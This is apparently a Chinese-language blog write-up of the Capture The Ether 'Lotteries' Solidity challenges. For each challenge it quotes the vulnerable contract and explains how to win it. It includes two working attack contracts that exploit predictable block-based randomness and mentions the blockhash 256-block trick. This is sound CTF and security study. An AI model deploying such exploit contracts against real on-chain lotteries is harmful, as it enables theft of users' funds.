Capture The Ether 题解(Lotteries)

Capture The Ether 题解(Lotteries)

·

3 min read

以太坊官网发现了这个 wargame,项目已经比较老了(solidity 版本为 0.4.21)。做完之后发现题目质量是相当高的,比起 Ethernaut 更综合也更有趣~

Warmup

这个部分都是熟悉环境用的,略过

Lotteries

Guess the number

目标合约

pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关条件

猜中合约的 answer 的值

题目分析

答案就在代码里,42

Guess the secret number

目标合约

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关条件

猜中合约的 answer 的值

题目分析

代码里只有答案的 keccak-sha3 hash 值了。但是注意到答案的数据类型是 uint8,范围非常小,所以遍历一下就出来了,170

Guess the random number

目标合约

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关条件

猜中合约的 answer 的值

题目分析

回顾一下 Ethernaut 第八题的题解,从 Storage 的存储布局可知答案在 Storage 的第一个 slot 中, web3.eth.getStorageAt('contractAddr', 0) 即可获得答案

Guess the new number

目标合约

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关条件

猜中合约的 answer 的值

题目分析

答案是在 guess 的时候使用 block.blockhash(block.number - 1)now 这些公开的区块信息生成,所以部署一个攻击合约去 guess 就好。合约如下:

contract GuessTheNewNumberChallengeHack {

  address owner;
  GuessTheNewNumberChallenge c;

  constructor(GuessTheNewNumberChallenge _c) public {
    owner = msg.sender;
    c = _c;
  }

  function hack() public payable {
    require(msg.value == 1 ether);
    uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));
    c.guess.value(msg.value)(answer);
  }

  function destroy() public {
    selfdestruct(owner);
  }

  function() public payable {}
}

Predict the future

目标合约

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关说明

此题使用了一种延迟开奖的机制。在 guess 之后,需要再过至少两个块才能开奖(settle()),开奖之后 guesser 会被重置,所以每次 guess 只能开奖一次。

题目分析

由于这题的答案也是由区块信息生成的,所以我们可以知道每个块会公布的答案是什么,这也就意味着我们可以在答案和我们 guess 的值相同的时候再去开奖。合约如下:

contract PredictTheFutureChallengeHack {
    address owner;
    PredictTheFutureChallenge c;
    uint8 myGuess = 2;

    constructor(PredictTheFutureChallenge _c) public {
        owner = msg.sender;
        c = _c;
    }

    function guess() public payable {
        require(msg.value == 1 ether);
        c.lockInGuess.value(msg.value)(myGuess);
    }

    function hack() public {
        uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 10;
        if (answer == myGuess) {
            c.settle();
        }
    }

    function destroy() public {
        selfdestruct(owner);
    }

    function() public payable {}
}

尽管如此,每次操作成功猜中的概率也只有 1 / 10,还是写个脚本处理方便(事实上,我猜了三十几次才猜中 T^T)。

Predict the block hash

目标合约

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

通关条件

猜中未来的 block.blockhash

题目分析

没做出来,看了这篇题解,确实是没想到这个思路(其实还是对文档不熟悉)。核心在于 block.blockhash 只对最近的 256 个区块有效,超出 256 个区块则一律返回 0x0000000000000000000000000000000000000000000000000000000000000000。我们可以将这个值作为答案,然后等过了 256 个区块再 settle() 即可。